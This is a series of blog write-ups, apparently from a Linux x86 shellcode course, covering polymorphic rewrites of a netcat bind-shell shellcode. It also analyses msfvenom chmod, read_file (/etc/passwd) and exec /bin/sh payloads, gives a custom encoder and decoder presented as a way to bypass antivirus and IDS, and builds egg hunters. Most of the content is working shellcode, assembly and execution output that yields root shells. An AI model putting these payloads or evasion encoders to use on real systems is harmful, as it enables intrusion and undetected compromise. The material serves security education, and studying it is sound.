ls: impossible d'accéder à '/etc/passwd': Aucun fichier ou dossier de ce type

Here we go, our new polymorphic shellcode did the job and is 40 bytes long.

netcat bin shellcode:

Here we go for our last shell-storm shellcode. We will use this shellcode which is calling netcat to bind a shell on port 13377.

Let’s assembly, link and execute netcat_bind.nasm (64 bytes long):

# ./compile.sh netcat_bind
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# ./netcat_bind 
listening on [any] 13377 ...

Then from another shell:

# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)

Perfect, everything is working fine, so let’s mix up this opcodes in our netcat_bind_polymorphic.nasm:

section .text
    global _start
_start:
  xor ecx,ecx
  mul ecx          ; mul technique to clear out EAX and EDX
  
  jmp short arg1   ; jmp/call/pop technique

poptag1:
    pop edx          ; replace the push opcode
    push eax

  push 0x68732f6e
  push 0x69622f65
  push 0x76766c2d
  mov ecx,esp

  push eax
  push 0x636e2f2f
  push 0x2f2f2f2f
  push 0x6e69622f
  mov ebx, esp

  push eax
  push edx
  push ecx
  push ebx
  
  mov edx,eax      ; replace the xor opcode
  mov  ecx,esp
  mov al,11        ; execve syscall
  int 0x80

arg1:
  call poptag1
  string1 db "-vp13377"

Let’s assembly, link, and execute:

# ./compile.sh netcat_bind_polymorphic && ./netcat_bind_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
listening on [any] 13377 ...

From another shell:

# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)

Perfect it works and our new shellcode is 68 bytes long.
We saw in this article that we can create some polymorphic versions of well known shellcodes in order to bypass the known signatures of these shellcodes.

Hope you enjoyed this post, see you soon for our last assignment.
Bye,

Phackt

SLAE Assignment 5.3 - Msfvenom linux/x86/chmod shellcode Analysis

2017-04-26T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 5.3:

Our Goal:

Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)

Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode

Present your analysis

Hello everybody,

Here we are for the last shellcode of the msfvenom serie. We will use this time the linux/x86/chmod shellcode and will analyse it thanks to GDB:

# msfvenom -p linux/x86/chmod --payload-options
Options for payload/linux/x86/chmod:


       Name: Linux Chmod
       Module: payload/linux/x86/chmod
       Platform: Linux
       Arch: x86
       Needs Admin: No
       Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current          Setting     Required  Description
----  ---------------  --------    -----------
FILE  /etc/shadow      yes         Filename to chmod
MODE  0666             yes         File mode (octal)

Description:
  Runs chmod on specified file with specified mode
...

Let’s generate the ELF:

# msfvenom -p linux/x86/chmod FILE=/tmp/slae.txt -f elf -o chmod_slae
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of elf file: 122 bytes
Saved as: chmod_slae
# ls -l /tmp/slae.txt 
-r--r--r-- 1 root root 0 avril 22 04:54 /tmp/slae.txt
# chmod +x ./chmod_slae && ./chmod_slae
# ls -l /tmp/slae.txt 
-rw-rw-rw- 1 root root 0 avril 22 04:54 /tmp/slae.txt

Perfect we see that our file /tmp/slae.txt has now the octal right 666 standing for rw-rw-rw-. Let’s have a look in gdb:

# readelf -h ./chmod_slae
...
Adresse du point d'entrée:    0x8048054 
...
# gdb -q ./chmod_slae 
Reading symbols from ./chmod_slae...(no debugging symbols found)...done.
gdb-peda$ br *0x8048054
Breakpoint 1 at 0x8048054
gdb-peda$ run
gdb-peda$ disas $eip,+38
Dump of assembler code from 0x8048054 to 0x804807a:
=> 0x08048054:	cdq    
   0x08048055:	push   0xf
   0x08048057:	pop    eax
   0x08048058:	push   edx
   0x08048059:	call   0x804806c
   0x0804805e:	das    
   0x0804805f:	je     0x80480ce
   0x08048061:	jo     0x8048092
   0x08048063:	jae    0x80480d1
   0x08048065:	popa   
   0x08048066:	gs cs je 0x80480e2
   0x0804806a:	je     0x804806c
   0x0804806c:	pop    ebx
   0x0804806d:	push   0x1b6
   0x08048072:	pop    ecx
   0x08048073:	int    0x80
   0x08048075:	push   0x1
   0x08048077:	pop    eax
   0x08048078:	int    0x80
End of assembler dump.

Let’s add some breakpoints on interesting opcodes:

gdb-peda$ br *0x0804806c
Breakpoint 2 at 0x804806c
gdb-peda$ br *0x08048073
Breakpoint 3 at 0x8048073
gdb-peda$ br *0x08048078
Breakpoint 4 at 0x8048078
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xf 
EBX: 0x0 
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xbffff2c8 --> 0x804805e ("/tmp/slae.txt")
EIP: 0x804806c --> 0x1b6685b
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048065:	popa   
   0x8048066:	gs cs je 0x80480e2
   0x804806a:	je     0x804806c
=> 0x804806c:	pop    ebx
   0x804806d:	push   0x1b6
   0x8048072:	pop    ecx
   0x8048073:	int    0x80
   0x8048075:	push   0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c8 --> 0x804805e ("/tmp/slae.txt")
0004| 0xbffff2cc --> 0x0 
0008| 0xbffff2d0 --> 0x1 
0012| 0xbffff2d4 --> 0xbffff478 ("/root/Documents/pentest/certs/slae/exam/assignment5.3/chmod_slae")
0016| 0xbffff2d8 --> 0x0 
0020| 0xbffff2dc --> 0xbffff4b9 ("XDG_VTNR=2")
0024| 0xbffff2e0 --> 0xbffff4c4 ("XDG_SESSION_ID=2")
0028| 0xbffff2e4 --> 0xbffff4d5 ("SSH_AGENT_PID=1067")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Notice that we are using gdb-peda. Thanks to the call technique the next instruction pop ebx will pop the address of the string /tmp/slae in the EBX register.

So we will have:

EAX: 0xf 
EBX: 0x804805e (/tmp/slae.txt) 

Finally if we stop at the address 0x8048073 just before our syscall:

EAX: 0xf 
EBX: 0x804805e ("/tmp/slae.txt")
ECX: 0x1b6 

We will call int chmod(const char *pathname, mode_t mode);. The second argument 0x1b6 is 666 in octal:

# printf "%o\n" 0x1b6
666

Let’s go to the following breakpoint:

EAX: 0x1 
EBX: 0x804805e (/tmp/slae.txt) 

We will call void _exit(int status);, the exit status is not important in a shellcode execution context, so we won’t add an opcode to set EBX.

Finally, our shellcode will change the permissions of our file:

gdb-peda$ n
[Inferior 1 (process 24785) exited with code 0136]
Warning: not running or target is remote

So we just finished our msfvenom shellcodes serie. Soon we will deal with polymorphic shellcodes and crypters.
Hope you enjoyed this post.

Phackt

SLAE Assignment 5.2 - Msfvenom linux/x86/read_file shellcode Analysis

2017-04-25T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 5.2:

Our Goal:

Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)

Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode

Present your analysis

Hello everybody,

Here we are for the second analysis of our msf shellcodes. Let’s perform the analysis for the linux/x86/read_file shellcode:

# msfvenom -p linux/x86/read_file --payload-options
Options for payload/linux/x86/read_file:


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor
...

Let’s examine the generated shellcode:

# msfvenom -p linux/x86/read_file PATH=/etc/passwd -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

So let’s comment our shellcode instructions:

    jmp short 0x38  ; jmp/call/pop technique
    mov eax,0x5     ; int open(const char *pathname, int flags);
    pop ebx         ; pop the @ of the string starting at 0x3D
    xor ecx,ecx     ; clears out ecx
    int 0x80        ; open syscall
    mov ebx,eax     ; file descriptor result of the open syscall
    mov eax,0x3     ; ssize_t read(int fd, void *buf, size_t count);
    mov edi,esp     ; 
    mov ecx,edi     ; pointer to a valid stack address
    mov edx,0x1000  ; size of buffer that will be read and buffered to the stack
    int 0x80        ; read syscall
    mov edx,eax     ; result of read and third argument of write function
    mov eax,0x4     ; ssize_t write(int fd, const void *buf, size_t count);
    mov ebx,0x1     ; standard output / ebx is still pointing to the buffer on stack
    int 0x80        ; write syscall
    mov eax,0x1     ; void _exit(int status);
    mov ebx,0x0     ; 0 everything is OK
    int 0x80        ; exit syscall
    call dword 0x2  ; pushing the @ of the following bytes (/etc/passwd) on the stack
    das
    gs jz 0xa4      
    das
    jo 0xa5
    jnc 0xb9
    ja 0xac
    db 0x00         ; null byte ending string

The jmp/call/pop technique will set the address of the following string in EBX:

# echo -e \\x2F\\x65\\x74\\x63\\x2F\\x70\\x61\\x73\\x73\\x77\\x64
/etc/passwd

Once again you can generate a shellcode (quite more complex) without null bytes with the following command:

# msfvenom -p linux/x86/read_file PATH=/etc/passwd -f raw -b \x00 | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 100 (iteration=0)
x86/shikata_ga_nai chosen with final size 100
Payload size: 100 bytes

00000000  BAF7BD341A        mov edx,0x1a34bdf7
00000005  DBDF              fcmovnu st7
00000007  D97424F4          fnstenv [esp-0xc]
0000000B  5E                pop esi
0000000C  29C9              sub ecx,ecx
0000000E  B113              mov cl,0x13
00000010  83EEFC            sub esi,byte -0x4
00000013  31560F            xor [esi+0xf],edx
00000016  0356F8            add edx,[esi-0x8]
00000019  5F                pop edi
0000001A  C1                db 0xc1
0000001B  F1                int1
0000001C  3018              xor [eax],bl
0000001E  2F                das
0000001F  06                push es
00000020  3C58              cmp al,0x58
00000022  6B37F5            imul esi,[edi],byte -0xb
00000025  95                xchg eax,ebp
00000026  0BBEC69E0FC1      or edi,[esi-0x3ef0613a]
0000002C  C8DE8626          enter 0x86de,0x26
00000030  41                inc ecx
00000031  27                daa
00000032  22A841D85364      and ch,[eax+0x6453d841]
00000038  E151              loope 0x8b
0000003A  91                xchg eax,ecx
0000003B  CE                into
0000003C  E561              in eax,0x61
0000003E  16                push ss
0000003F  2F                das
00000040  5E                pop esi
00000041  60                pushad
00000042  16                push ss
00000043  2F                das
00000044  A0AE9697A1        mov al,[0xa19796ae]
00000049  3097E71A3097      xor [edi-0x68cfe519],dl
0000004F  E75C              out 0x5c,eax
00000051  FC                cld
00000052  17                pop ss
00000053  0F9901            setns [ecx]
00000056  E82F0E9B63        call dword 0x639b0e8a
0000005B  B37F              mov bl,0x7f
0000005D  13ED              adc ebp,ebp
0000005F  40                inc eax
00000060  0CA4              or al,0xa4
00000062  89                db 0x89
00000063  A6                cmpsb

We can see, through the analysis of all of these shellcodes, the power of msfvenom while dynamically generating shellcodes.

Hope you enjoyed this post, see you soon for the second msf shellcode analysis.

Phackt

SLAE Assignment 5.1 - Msfvenom linux/x86/exec shellcode analysis

2017-04-24T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 5.1:

Our Goal:

Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)

Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode

Present your analysis

Hello everybody,

Here we are for the analysis of three Msfvenom shellcodes for the platform linux/x86. Let’s start with the linux/x86/exec shellcode with the command /bin/sh:

# msfvenom -p linux/x86/exec CMD=/bin/sh -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 205 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";

Let’s disassemble the shellcode:

# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes

00000000  6A0B        push byte +0xb
00000002  58          pop eax
00000003  99          cdq
00000004  52          push edx
00000005  66682D63    push word 0x632d
00000009  89E7        mov edi,esp
0000000B  682F736800  push dword 0x68732f
00000010  682F62696E  push dword 0x6e69622f
00000015  89E3        mov ebx,esp
00000017  52          push edx
00000018  E808000000  call dword 0x25
0000001D  2F          das
0000001E  62696E      bound ebp,[ecx+0x6e]
00000021  2F          das
00000022  7368        jnc 0x8c
00000024  005753      add [edi+0x53],dl
00000027  89E1        mov ecx,esp
00000029  CD80        int 0x80

Let’s have a look with libemu:

# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | sctest -vvv -S -s 10000 -G exec_sh.dot && dot exec_sh.dot -Tpng -o exec_sh.png

Clearly we can see that we will make an execve syscall: #define __NR_execve 11.

int execve(const char *filename, char *const argv[], char *const envp[]);

So let’s comment our shellcode instructions:

    push byte +0xb          ; syscall execve 12
    pop eax                 ; syscall number in eax
    cdq                     ; clears out edx thanks to eax sign extension
    push edx                ; push 0 or null byte to end the following string
    push word 0x632d        ; "-c"
    mov edi,esp             ; edi stores the @ of "-c"
    push dword 0x68732f     ; "/sh"
    push dword 0x6e69622f   ; "/bin"
    mov ebx,esp             ; ebx is the first arg of execve "/bin/sh"
    push edx                ; null byte
    call dword 0x25         ; push the address of the following string on the stack (and jmp to push edi)
    das                     ; the following instructions are meaningless because the bytes are corresponding
    bound ebp,[ecx+0x6e]    ; to the string "/bin/sh -c /bin/sh" for argv[]
    das
    jnc 0x8c
    add [edi+0x53],dl
    mov ecx,esp             ; setting @ for argv
    int 0x80                ; syscall

In order to explain the meaningless intructions after the call instruction:

# echo -ne \\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68
/bin/sh
# echo -ne \\x57\\x53 | ndisasm -u -
00000000  57                push edi
00000001  53                push ebx

EDI points to the string “-c”, EBX points to the string “/bin/sh”. So finally argv[] will have the following arguments:

argv[0]: address of “/bin/sh”
argv[1]: address of “-c”
argv[2]: address of “/bin/sh”

It can be confirm thanks to libemu:

# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | sctest -vvv -S -s 10000
...
int execve (
     const char * dateiname = 0x00416fc0 => 
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 => 
               = 0x00416fc0 => 
                   = "/bin/sh";
           = 0x00416fb4 => 
               = 0x00416fc8 => 
                   = "-c";
           = 0x00416fb8 => 
               = 0x0041701d => 
                   = "/bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;
...

However we can can see some null bytes in our shellcode. Let’s have a look to a shellcode without null bytes:

# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw -b \x00 | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes

00000000  DDC5              ffree st5
00000002  D97424F4          fnstenv [esp-0xc]
00000006  58                pop eax
00000007  BE2E1FB4CF        mov esi,0xcfb41f2e
0000000C  33C9              xor ecx,ecx
0000000E  B10B              mov cl,0xb
00000010  31701A            xor [eax+0x1a],esi
00000013  03701A            add esi,[eax+0x1a]
00000016  83C004            add eax,byte +0x4
00000019  E2DB              loop 0xfffffff6
0000001B  75BF              jnz 0xffffffdc
0000001D  97                xchg eax,edi
0000001E  BAD8D94F91        mov edx,0x914fd9d8
00000023  BFAC778110        mov edi,0x108177ac
00000028  DC1F              fcomp qword [edi]
0000002A  51                push ecx
0000002B  07                pop es
0000002C  0D8238B9D8        or eax,0xd8b93882
00000031  A1E8ADD325        mov eax,[0x25d3ade8]
00000036  0C2E              or al,0x2e
00000038  CB                retf
00000039  47                inc edi
0000003A  6540              gs inc eax
0000003C  3CFB              cmp al,0xfb
0000003E  1D9C15A854        sbb eax,0x54a8159c
00000043  7D54              jnl 0x99
00000045  CE                into

Now we can see that the shellcode is a slightly more complex because of the shikata_ga_nai encoding routine useful to avoid null bytes.

Hope you enjoyed this post, see you soon for the second msf shellcode analysis.

Phackt

SLAE Assignment 4 - Encoding/Decoding Shellcode

2017-04-23T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 4:

Code is available on my github repo.

Our Goal:

Create a custom encoding scheme

POC with using the execve-stack as the shellcode

Hello everybody,

Today we will create an encoded shellcode and its decoding routine. Encoding a shellcode is useful to bypass Antivirus or Intrusion Detection Systems. Our resulting shellcode and its opcodes will have no meaning at all if the encoding scheme if robust enough (for example avoid classic XOR encoding).

For each byte, our encoding scheme will consists in:

Rolling four bits to the right (ROR instruction)
Getting the complement of that byte (NOT)

We will apply this encoding scheme on the following execve /bin/bash stack shellcode:

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH ////bin/bash (12) 

	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp

	mov al, 11
	int 0x80

Testing the execve stack shellcode provides a /bin/bash prompt indeed:

# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c  && ./shellcode
Shellcode Length:  30
root@kali:/root/Documents/pentest/certs/slae/exam/assignment4# id
uid=0(root) gid=0(root) groups=0(root)

Execve stack shellcode looks like:

\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Let’s now create our encoding routine (shellcode_encode.c):

#include <stdio.h>
#include <string.h>

// execve stack shellcode
unsigned char shellcode[] = \
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

// print shellcode
void print_shellcode(){

	printf("Length %d\n",sizeof(shellcode));
	for (int i=0; i<strlen(shellcode); i++) {
		printf("\\x%02x", shellcode[i]);
	}
	printf("\n");

	for (int i=0; i<strlen(shellcode); i++) {
		printf("0x%02x,", shellcode[i]);
	}
}

void main()
{

	int	rotate = 4;	// rotate 4 bits to the right

	// print initial shellcode
	printf("Initial shellcode\n");
	print_shellcode();
	printf("\n");

	for (int i=0; i<strlen(shellcode); i++) {
		shellcode[i] = (shellcode[i] >> rotate) | (shellcode[i] << (8-rotate));	// ror method
		shellcode[i] = ~shellcode[i]; // one's complement 
	}

	// print encoded shellcode
	printf("\nEncoded shellcode\n");
	print_shellcode();
	printf("0xaa"); // marker for the end of encoded shellcode
	printf("\n");

}

The encoded execve stack shellcode is the following:

0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa

Let’s create the decoding nasm shellcode shellcode_decoder.nasm:

global _start			

section .text
_start:

	jmp short call_shellcode    ; jmp, call, pop technique

decoder:
	pop esi

decode: 
	xor eax, eax
	xor ebx, ebx
	mov al, byte [esi]          ; we move the byte to be decoded
	not al                      ; one's complement
	rol al, 4                   ; rolling on left to decode the rolling on right encoding
	mov byte [esi], al          ; saving the decoded byte

	lea esi, [esi + 1]          ; next byte   
	mov bl, [esi]  
	cmp bl, 0xaa                ; looking for the end of encoded shellcode
	je short EncodedShellcode   ; we jump to the decoded shellcode
	jmp short decode            ; keeping on decoding

call_shellcode:

	call decoder
	EncodedShellcode: db 0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa

Let’s assembly, link and get the decoding shellcode:

# ./compile.sh shellcode_decoder
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# objdump -d ./shellcode_decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1a\x5e\x31\xc0\x31\xdb\x8a\x06\xf6\xd0\xc0\xc0\x04\x88\x06\x8d\x76\x01\x8a\x1e\x80\xfb\xaa\x74\x07\xeb\xe7\xe8\xe1\xff\xff\xff\xec\xf3\xfa\x79\xd9\xe9\xc8\x79\x79\xd9\x69\x19\x0d\x79\x0d\x0d\x0d\x0d\x67\xc1\xfa\x67\xd1\xca\x67\xe1\xf4\x4f\x23\xf7\xaa"

Let’s update the shellcode.c file and execute our decoding shellcode:

Remember that running our shellcode thanks to shellcode.c is useful because our shellcode will be located into the writable .data segment.
If we directly execute the shellcode_decoder executable, it will result in a segmentation fault because it will try to rewrite the EncodedShellcode variable located in the non writable .text segment (also useful to use the jmp/call/pop technique in order to avoid null bytes and to dynamically get the address of our encoded shellcode).

We did not test it on VirusTotal in order to avoid the fingerprinting of the encoding scheme.

Hope you enjoyed this post, don’t hesitate to comment and share.

Phackt

SLAE Assignment 3 - Egg hunter

2017-04-21T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Hello everybody,

So here we are for the third part of our shellcodes serie. Today we will deal with the concept of egg hunter shellcode.

Assignment 3:

Code is available on my github repo.

Our Goal:

Study about the egg hunter shellcode

Create a working demo of the Egghunter

Should be configurable for different payloads

So what is an egg hunter and its related egg shellcode?

While your exploiting buffer overflows, the shellcode you inject will face several constraints in order to properly execute, and the size limit is one of them. An idea is to stage the shellcode: the first stage will be a small shellcode looking for the effective and bigger second one.

Here is a bit of litterature that may help to understand the egg hunter concept:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/

The above second link will provide a good overview of the Linux memory layout. For this exercise, we will use an in-memory egg hunter shellcode.

So let’s try with a first example:

global  _start

section .text
_start:

    mov eax, _start             ; we set a valid .text address into eax
    mov ebx, dword 0x50905091   ; we can avoid an 8 bytes tag in egg if the tag
    dec ebx                     ; can not be found in the egg hunter, that's why we decrement to look for 
                                ; 0x50905090 - push eax, nop, push eax, nop

next_addr:

    inc eax
    cmp dword [eax], ebx        ; do we found the tag ?
    jne next_addr
    jmp eax                     ; yes we do so we jump to the egg

N.B: Our egg hunter on exploit-db: https://www.exploit-db.com/exploits/41909/.

Now let’s update shellcode.c:

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0";

unsigned char egg[] = \
"\x90\x50\x90\x50" // egg mark - do not remove
"\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
"\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
"\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
"\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
"\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";

void main()
{

	printf("Egg hunter shellcode Length:  %d\n", strlen(egghunter));
	printf("Egg shellcode Length:  %d\n", strlen(egg));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

Let’s run our egg hunter:

Perfect, but why did it work ? In our shellcode.c the egg has been placed in the .data segment (global initialized variables). According to the following picture (anatomy of a program in memory), we can see that the .text, .data and .bss segments are contigous and readable:

let’s check for our shellcode’s memory mapping in gdb:

1563 is our shellcode process id:

# cat /proc/1563/maps
08048000-08049000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
08049000-0804a000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
0804a000-0804b000 rwxp 00001000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
0804b000-0806c000 rwxp 00000000 00:00 0          [heap]
b7dfb000-b7fac000 r-xp 00000000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7fac000-b7fae000 r-xp 001b0000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7fae000-b7faf000 rwxp 001b2000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
b7faf000-b7fb2000 rwxp 00000000 00:00 0 
b7fd3000-b7fd6000 rwxp 00000000 00:00 0 
b7fd6000-b7fd9000 r--p 00000000 00:00 0          [vvar]
b7fd9000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
b7ffe000-b7fff000 r-xp 00022000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
b7fff000-b8000000 rwxp 00023000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

Our three first segments are respectively the .text, .data, .bss segment. As we can see, we have no unreadable spaces between them. If a memory segment was unreadable, we would have had a segmentation fault (SIGSEGV - Signal Segmentation Violation).

Let’s try now to place our egg shellcode in the heap space (we keep the same egg hunter):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EGGMARK "\x50\x90\x50\x90"

unsigned char egghunter[] = \
"\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0";

unsigned char egg[] = \
EGGMARK
"\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
"\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
"\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
"\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
"\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";

void main()
{

	char *shellcode_heap = malloc(sizeof(egg)); // shellcode egg + egg mark
	memcpy(shellcode_heap, egg, sizeof(egg));

	printf("Egg hunter shellcode Length:  %d\n", strlen(egghunter));
	printf("Egg shellcode Length:  %d\n", strlen(shellcode_heap));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

Running and executing it:

# ./shellcode_heap
Egg hunter shellcode Length:  18
Egg shellcode Length:  74
Erreur de segmentation

We met a segmentation violation because our egg hunter is facing a memory access violation.
However a technique consists in using the access system call that originally check users permissions for a file. Giving our memory address as the first argument, we will be able to check if a memory page is accessible. If not, the syscall will return EFAULT (14) into EAX:

int access(const char *pathname, int mode);

Syscall number:

#define __NR_access 33

Dans /usr/include/asm-generic/errno-base.h:

#define	EFAULT		14	/* Bad address */

We will go through the memory pages and parse each readable memory page in order to look for our egg shellcode.

# getconf PAGE_SIZE
4096

Here is what our new egg hunter looks like:

global _start
 
section .text
 
_start:

        xor ecx,ecx         ; ecx zeroed out
        mul ecx             ; clear eax, edx

 next_page:
        or bx, 0xfff        ; 0x1000 - 1 (4095)
        mov edi, dword 0x50905091
        dec edi

next_addr:
        inc ebx             ; +1 so we move to the next 4096 bytes (next page)
        push byte 0x21      ; access syscall
        pop eax
        int 0x80
 
        cmp al, 0xf2         ; check for EFAULT
        je _start            ; if EFAULT, we are going to the nextpage
        cmp dword [ebx], edi ; our egg mark
        jne next_addr        ; we are parsing the readable memory page
        lea eax, [ebx+4]     ; @ of the shellcode
